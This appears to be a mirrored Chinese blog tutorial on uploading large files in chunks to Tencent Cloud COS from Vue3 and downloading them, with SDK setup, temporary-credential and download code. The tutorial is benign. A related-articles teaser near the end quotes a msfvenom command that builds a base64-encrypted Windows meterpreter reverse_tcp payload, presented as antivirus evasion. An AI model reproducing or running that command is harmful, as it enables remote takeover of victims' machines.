当前位置: 首页 > news >正文

Vue3_对接腾讯云COS_大文件分片上传和下载

目录

 一、腾讯云后台配置

二、安装SDK

1.script 引入方式

2.webpack 引入方式

三、文件上传

1.new COS 实例

2.上传文件

四、文件下载


腾讯云官方文档:

腾讯云官方文档icon-default.png?t=N7T8https://cloud.tencent.com/document/product/436/11459

 一、腾讯云后台配置

1.登录 对象存储控制台 ,创建存储桶。获取存储桶名称和 地域名称。

2. 登录 访问管理控制台 ,获取您的项目 SecretId 和 SecretKey。

3. 配置 CORS 规则,AllowHeader 需配成*,ExposeHeaders 需要 ETag、Content-Length 以及其他 js 需要读取的 header 字段,如下图所示。操作详情请参见 设置跨域访问 文档。

二、安装SDK

1.script 引入方式

<!--src为本地路径 根据自己项目目录结构来调整-->
<script src="../dist/cos-js-sdk-v5.min.js"></script>

2.webpack 引入方式

安装:

npm i cos-js-sdk-v5 --save

引入:

// node引入方式
const COS = require('cos-js-sdk-v5');// js引入方式
import COS from 'cos-js-sdk-v5';

三、文件上传

本案例用npm方式安装SDK,使用js方式引入。文件上传使用的是,高级上传,高级上传接口 uploadFile,自动针对小文件使用简单上传,大文件使用分块上传,性能更好。

腾讯云文件高级上传参数icon-default.png?t=N7T8https://cloud.tencent.com/document/product/436/64960#.E9.AB.98.E7.BA.A7.E4.B8.8A.E4.BC.A0

1.new COS 实例

import COS from "cos-js-sdk-v5";const cos = new COS({// getAuthorization 必选参数getAuthorization: function (options, callback) {callback({TmpSecretId: "在控制台查看",TmpSecretKey: "在控制台查看",SecurityToken: "临时密钥_后端返回来的",ExpiredTime: "临时密钥到期时间_后端返回来的", // 时间戳,单位秒,如:1580000000});},
});

后端获得临时密钥的步骤:

后端获得临时密钥并返给前端icon-default.png?t=N7T8https://cloud.tencent.com/document/product/436/14048

2.上传文件

文件上传,我们用的高级上传接口,自动识别,小文件(低于你设置的数据)直接上传,大文件分片上传。

<template><!-- 上传组件用的el-upload --><el-uploadclass="upload-demo"action="#"dragmultiple:auto-upload="false":show-file-list="true"v-model:file-list="fileList":on-change="(file, fileList) => {handleChange(file, fileList);}":on-remove="handleRemove"><el-icon class="el-icon--upload"><upload-filled /></el-icon><div class="el-upload__text">拖拽文件到这里或者<em>点击上传</em></div></el-upload>
</template><script setup>import COS from "cos-js-sdk-v5";
import { computed, reactive } from "vue";//从后端获得临时密钥的请求接口,换成你自己的
import { reqCloudInfo } from "@/api";const state = reactive({result: "",
});//从后端获得请求临时密钥,换成你自己的
const getData = async () => {let result = await reqCloudInfo();if (result != undefined) {if (result.error_code == 0) {state.result = result;} else {console.log(result);}}
};
getData ();// new 一个COS实例
const cos = new COS({getAuthorization: function (options, callback) {//credentials ,按照你的后端返回来的数据自行赋值let credentials = state.result.datas_info.Credentials;callback({TmpSecretId: credentials.TmpSecretId,TmpSecretKey: credentials.TmpSecretKey,SecurityToken: credentials.Token,ExpiredTime: state.result.datas_info.ExpiredTime, // 时间戳,单位秒,如:1580000000});},
});// 文件上传 选择文件时触发(:on-change事件)
const handleChange = (uploadFile, uploadFiles) => {//cosData ,根据你后端返回的数据自行赋值let cosData = state.result.datas_info;cos.uploadFile({Bucket: cosData.Bucket /* 填入您自己的存储桶,必须字段 */,Region: cosData.Region /* 存储桶所在地域,例如ap-beijing,必须字段 */,Key:cosData.Key +"/1.jpg" /* 存储在桶里的对象键(例如1.jpg,a/b/test.txt),必须字段 */,Body:uploadFile.raw /* 必须,上传文件对象,可以是input[type="file"]标签选择本地文件后得到的file对象 */,SliceSize: 1024 * 1024 * 5 /* 触发分块上传的阈值,超过5MB使用分块上传,非必须 */,onTaskReady: function (taskId) {/* 非必须 */console.log(taskId);},onProgress: function (progressData) {/* 非必须 */console.log(JSON.stringify(progressData));},onFileFinish: function (err, data, options) {/* 非必须 */console.log(options.Key + "上传" + (err ? "失败" : "完成"));},},function (err, data) {console.log(err || data);});
};</script><style scoped></style>

如果报错403:

报错403解决办法icon-default.png?t=N7T8https://cloud.tencent.com/document/product/436/54303#message-.E4.B8.BA-.E2.80.9Caccess-denied..E2.80.9D

如果报了“Access Denied.”,就是后端临时密钥权限不对,让他添加相应字段即可。上传文件的,分片上传的,文件读取下载的。

四、文件下载

1.方法一(得到文件blob类型下载)

下载文件到本地:

import COS from "cos-js-sdk-v5";const cos = new COS({// getAuthorization 必选参数getAuthorization: function (options, callback) {callback({TmpSecretId: "在控制台查看",TmpSecretKey: "在控制台查看",SecurityToken: "临时密钥_后端返回来的",ExpiredTime: "临时密钥到期时间_后端返回来的", // 时间戳,单位秒,如:1580000000});},
});//文件下载
cos.getObject({Bucket:  /* 填入您自己的存储桶,从后端返回的数据获取*/,Region:  /* 存储桶所在地域,例如ap-beijing*/,Key:  /*你的key*/,DataType: "blob",onProgress: function (progressData) {},},function (err, data) {if (data.Body) {//通过浏览器下载const myBlob = new window.Blob([data.Body], { type: data.Body.type });let name = "文件名字通过cosData.Key获取";const qrUrl = window.URL.createObjectURL(myBlob);var fileLink = document.createElement("a");fileLink.href = qrUrl;fileLink.setAttribute("download", name);document.body.appendChild(fileLink);fileLink.click();}});

2.方法二(得到文件URL下载) 

import COS from "cos-js-sdk-v5";const cos = new COS({// getAuthorization 必选参数getAuthorization: function (options, callback) {callback({TmpSecretId: "在控制台查看",TmpSecretKey: "在控制台查看",SecurityToken: "临时密钥_后端返回来的",ExpiredTime: "临时密钥到期时间_后端返回来的", // 时间戳,单位秒,如:1580000000});},
});//文件下载cos.getObjectUrl({Bucket:  /* 填入您自己的存储桶,从后端返回的数据获取*/,Region:  /* 存储桶所在地域,例如ap-beijing*/,Key:  /*你的key*/,Sign: true, // 获取带签名的对象 URL},function (err, data) {if (err) return console.log(err);/* url为对象访问 url */var url = data.Url;var fileLink = document.createElement("a");fileLink.href = url;fileLink.setAttribute("download", "你的文件名字");document.body.appendChild(fileLink);fileLink.click();});

相关文章:

Vue3_对接腾讯云COS_大文件分片上传和下载

目录 一、腾讯云后台配置 二、安装SDK 1.script 引入方式 2.webpack 引入方式 三、文件上传 1.new COS 实例 2.上传文件 四、文件下载 腾讯云官方文档&#xff1a; 腾讯云官方文档https://cloud.tencent.com/document/product/436/11459 一、腾讯云后台配置 1.登录 对…...

python免杀--base64加密(GG)

单层加密都GG~ 目录 cs生成个python的payload 将shellcode进行base64编码 执行上线代码 cs生成个python的payload msfvenom -p windows/meterpreter/reverse_tcp --encrypt base64 lhostIP lport6688 -f c cs生成c的也行. 将shellcode进行base64编码 import base64code …...

Python版与Java版城市天气信息爬取对比分析

在对比Python版和Java版城市天气信息爬取时&#xff0c;我们需要考虑多个方面&#xff0c;包括语言特性、库支持、代码简洁性、执行效率以及维护成本等。以下是对这两个版本进行的一些对比分析&#xff1a; 1. 语言特性 Python&#xff1a; 易于学习&#xff1a;Python的语法清…...

CSS真题合集(二)

CSS真题合集&#xff08;二&#xff09; 11. css3新增特性12. css3动画12.1 关键帧动画 (keyframes)12.2 animation12.3 transition12.4 transform 13. grid网格布局13.1 使用display: grid或display: inline-grid的HTML元素。13.2 定义网格13.3 13.4 自动填充和自动放置13.4 对…...

长期出汗困扰你?可能是肾合出了问题

想象一下&#xff0c;我们的身体是一座繁茂的秘密花园&#xff0c;每一寸肌肤、每一个细胞都是花园里的一朵花、一片叶。汗水&#xff0c;则是这花园中无声的语言&#xff0c;它讲述着我们的健康与否&#xff0c;也揭示着身体内部的微妙变化。 在炎炎夏日&#xff0c;身体如盛开…...

Jmeter函数二次开发说明

jmeter 二次开发使用 jmeter二次开发实现方法 使用maven依賴进行开发 导入jmeter的maven依赖&#xff0c;需要和你使用的jmeter版本一致。 <!-- https://mvnrepository.com/artifact/org.apache.jmeter/ApacheJMeter_core --> <dependency><groupId>org.ap…...

重新学习STM32(1)GPIO

概念简介 GPIO 是通用输入输出端口的简称&#xff0c;简单来说就是 STM32 可控制的引脚。STM32 芯片通过 GPIO 引脚与外部设备连接起来&#xff0c;从而实现与外部通讯、控制以及数据采集的功能。 GPIO被分成很多组&#xff0c;比如 GPIOA和GPIOB等。所有的 GPIO引脚都有基本的…...

React+TS前台项目实战(二)-- 路由配置 + 组件懒加载 + Error Boundary使用

文章目录 前言一、路由配置和懒加载lazy的使用二、TS版本Error Boundary组件封装三、在layout组件中使用Suspense组件和错误边界组件总结 前言 本文将详细介绍项目中的页面路由配置和异步组件懒加载处理&#xff0c;以提高用户体验&#xff0c;实现过渡效果。 一、路由配置和懒…...

成为电商低价神秘顾客访问员的必备条件(深圳神秘顾客公司)

电商低价神秘顾客需要具备以下条件&#xff0c;以确保能够执行有效的调查任务并为企业提供有价值的反馈&#xff1a; 1、细致的观察能力&#xff1a;神秘顾客访问员需要具备细致的观察能力&#xff0c;能够全面、细致地观察电商平台的购物流程、商品详情、服务细节等。这包括注…...

现货黄金交易多少克一手?国内外情况大不同

如果大家想参与国际市场上的现货黄金交易&#xff0c;就应该从它交易细则的入手&#xff0c;先彻底认识这个品种&#xff0c;因为它是来自欧美市场的投资方式&#xff0c;所以无论是从合约的计的单位&#xff0c;计价的货币&#xff0c;交易的具体时间&#xff0c;以及买卖过程…...

LNMP与动静态网站介绍

Nginx发展 Nginx nginx http server Nginx是俄罗斯人 Igor Sysoev(伊戈尔.塞索耶夫)开发的一款高性能的HTTP和反向代理服务器。 Nginx以高效的epoll.kqueue,eventport作为网络IO模型&#xff0c;在高并发场景下&#xff0c;Nginx能够轻松支持5w并发连接数的响应&#xff0c;并…...

教育小程序开发:技术实现与实践案例

随着信息技术的不断进步&#xff0c;教育小程序在教育领域的应用越来越广泛。教育小程序开发不仅可以提高教学效率&#xff0c;还能够提供个性化的学习体验。本文将以技术代码为例&#xff0c;详细介绍教育小程序开发的关键技术和实践案例&#xff0c;帮助开发者更好地理解和实…...

LeetCode 746.使用最小花费爬楼梯

题目&#xff1a; 给你一个整数数组 cost &#xff0c;其中 cost[i] 是从楼梯第 i 个台阶向上爬需要支付的费用。一旦你支付此费用&#xff0c;即可选择向上爬一个或者两个台阶。 你可以选择从下标为 0 或下标为 1 的台阶开始爬楼梯。 请你计算并返回达到楼梯顶部的最低花费…...

软件设计模式概述

一 软件模式概述 软件设计模式是在软件开发过程中经过验证的、可重复使用的最佳实践。 它们提供了解决常见设计问题的模板和指导方针&#xff0c;有助于开发人员编写高质量、可维护和可扩展的代码。 软件设计模式通常基于面向对象的编程范式&#xff0c;并利用封装、…...

短剧片源火爆,千金难求好剧源

前言 在当今快节奏的生活中&#xff0c;短剧以其精悍的篇幅、吸睛的剧情和便捷的观看方式&#xff0c;异军突起&#xff0c;吸引了大量观众的关注和喜爱。这些短剧不仅让人们在忙碌的间隙轻松娱乐&#xff0c;更以其高潮迭起的情节设计&#xff0c;让观众在短时间内便能体验到…...

MES系统定制 | 生产调度车间排班计划/MES排程排产

MES系统是一种集成化的生产信息化管理系统&#xff0c;通过实时收集和分析车间生产数据&#xff0c;帮助企业实现生产过程的自动化控制和监测。它可以跟踪生产计划、设备状态、物料流动等关键指标&#xff0c;并提供实时报表和决策支持。在这个系统中&#xff0c;车间班次排班是…...

【Anaconda】 anaconda常用命令总结

【Anaconda】 anaconda常用命令总结 一、创建虚拟环境二、激活/使用/进入某个虚拟环境三、退出当前环境四、复制某个虚拟环境五、删除某个环境六、查看当前所有环境七、查看当前虚拟环境下的所有安装包八、安装或卸载包(进入虚拟环境之后&#xff09;九、分享虚拟环境十、源服务…...

VIsio Professional 绘图

...

Flutter InAppWebView Unknown feature SUPPRESS_ERROR_PAGE

在使用InAppWebView的initialData加载html代码的时候,出现java.lang.RuntimeException: Unknown feature SUPPRESS_ERROR_PAGE的出错误 E/MethodChannel#flutter/platform_views(16853): Failed to handle method call E/MethodChannel#flutter/platform_views(16853):<...

linux系统PXE自动装机和无人值守

一、PXE 1.PXE&#xff1a;c/s模式&#xff0c;允许客户端通过网络从远程服务器&#xff08;服务端&#xff09;下载引导镜像&#xff0c;加载安装文件&#xff0c;实现自动化安装操作系统。&#xff08;c/s客户端和服务端都可以是多台&#xff09; 2.PXE优点&#xff1a;规模…...

PHP和Node.js哪个更爽?

先说结论&#xff0c;rust完胜。 php&#xff1a;laravel&#xff0c;swoole&#xff0c;webman&#xff0c;最开始在苏宁的时候写了几年php&#xff0c;当时觉得php真的是世界上最好的语言&#xff0c;因为当初活在舒适圈里&#xff0c;不愿意跳出来&#xff0c;就好比当初活在…...

Cilium动手实验室: 精通之旅---20.Isovalent Enterprise for Cilium: Zero Trust Visibility

Cilium动手实验室: 精通之旅---20.Isovalent Enterprise for Cilium: Zero Trust Visibility 1. 实验室环境1.1 实验室环境1.2 小测试 2. The Endor System2.1 部署应用2.2 检查现有策略 3. Cilium 策略实体3.1 创建 allow-all 网络策略3.2 在 Hubble CLI 中验证网络策略源3.3 …...

【机器视觉】单目测距——运动结构恢复

ps&#xff1a;图是随便找的&#xff0c;为了凑个封面 前言 在前面对光流法进行进一步改进&#xff0c;希望将2D光流推广至3D场景流时&#xff0c;发现2D转3D过程中存在尺度歧义问题&#xff0c;需要补全摄像头拍摄图像中缺失的深度信息&#xff0c;否则解空间不收敛&#xf…...

376. Wiggle Subsequence

376. Wiggle Subsequence 代码 class Solution { public:int wiggleMaxLength(vector<int>& nums) {int n nums.size();int res 1;int prediff 0;int curdiff 0;for(int i 0;i < n-1;i){curdiff nums[i1] - nums[i];if( (prediff > 0 && curdif…...

MMaDA: Multimodal Large Diffusion Language Models

CODE &#xff1a; https://github.com/Gen-Verse/MMaDA Abstract 我们介绍了一种新型的多模态扩散基础模型MMaDA&#xff0c;它被设计用于在文本推理、多模态理解和文本到图像生成等不同领域实现卓越的性能。该方法的特点是三个关键创新:(i) MMaDA采用统一的扩散架构&#xf…...

【配置 YOLOX 用于按目录分类的图片数据集】

现在的图标点选越来越多&#xff0c;如何一步解决&#xff0c;采用 YOLOX 目标检测模式则可以轻松解决 要在 YOLOX 中使用按目录分类的图片数据集&#xff08;每个目录代表一个类别&#xff0c;目录下是该类别的所有图片&#xff09;&#xff0c;你需要进行以下配置步骤&#x…...

智能仓储的未来:自动化、AI与数据分析如何重塑物流中心

当仓库学会“思考”&#xff0c;物流的终极形态正在诞生 想象这样的场景&#xff1a; 凌晨3点&#xff0c;某物流中心灯火通明却空无一人。AGV机器人集群根据实时订单动态规划路径&#xff1b;AI视觉系统在0.1秒内扫描包裹信息&#xff1b;数字孪生平台正模拟次日峰值流量压力…...

Redis数据倾斜问题解决

Redis 数据倾斜问题解析与解决方案 什么是 Redis 数据倾斜 Redis 数据倾斜指的是在 Redis 集群中&#xff0c;部分节点存储的数据量或访问量远高于其他节点&#xff0c;导致这些节点负载过高&#xff0c;影响整体性能。 数据倾斜的主要表现 部分节点内存使用率远高于其他节…...

代码随想录刷题day30

1、零钱兑换II 给你一个整数数组 coins 表示不同面额的硬币&#xff0c;另给一个整数 amount 表示总金额。 请你计算并返回可以凑成总金额的硬币组合数。如果任何硬币组合都无法凑出总金额&#xff0c;返回 0 。 假设每一种面额的硬币有无限个。 题目数据保证结果符合 32 位带…...

代码规范和架构【立芯理论一】(2025.06.08)

1、代码规范的目标 代码简洁精炼、美观&#xff0c;可持续性好高效率高复用&#xff0c;可移植性好高内聚&#xff0c;低耦合没有冗余规范性&#xff0c;代码有规可循&#xff0c;可以看出自己当时的思考过程特殊排版&#xff0c;特殊语法&#xff0c;特殊指令&#xff0c;必须…...